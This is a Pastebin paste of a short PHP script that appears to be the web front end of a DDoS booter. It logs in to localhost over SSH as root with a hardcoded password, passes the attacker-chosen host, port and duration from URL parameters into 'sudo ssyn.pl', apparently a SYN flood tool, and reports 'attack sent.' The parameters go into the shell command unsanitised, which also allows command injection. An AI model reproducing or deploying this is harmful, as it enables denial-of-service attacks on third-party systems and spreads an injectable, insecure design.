Advertisement
Guest User

Untitled

a guest
Jun 30th, 2015
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. ignore_user_abort(true);
  4.  
  5. if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");
  6. // log in at server1.example.com on port 22
  7. if(!($con = ssh2_connect("localhost", 22))){
  8. echo "fail: unable to establish connection\n";
  9. } else {
  10. // try to authenticate with username root, password secretpassword
  11. if(!ssh2_auth_password($con, "root", "password")) {
  12. echo "fail: unable to authenticate\n";
  13. } else {
  14.  
  15. // execute a command
  16. if (!($stream = ssh2_exec($con, "sudo ssyn.pl ".$_GET['host']." ".$_GET['port']." 2000 ".$_GET['time']))) {
  17. echo "fail: unable to execute command\n";
  18. } else {
  19. echo "" . stream_get_contents($stream);
  20.  
  21. echo "attack sent.";
  22. }
  23. }
  24. }
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement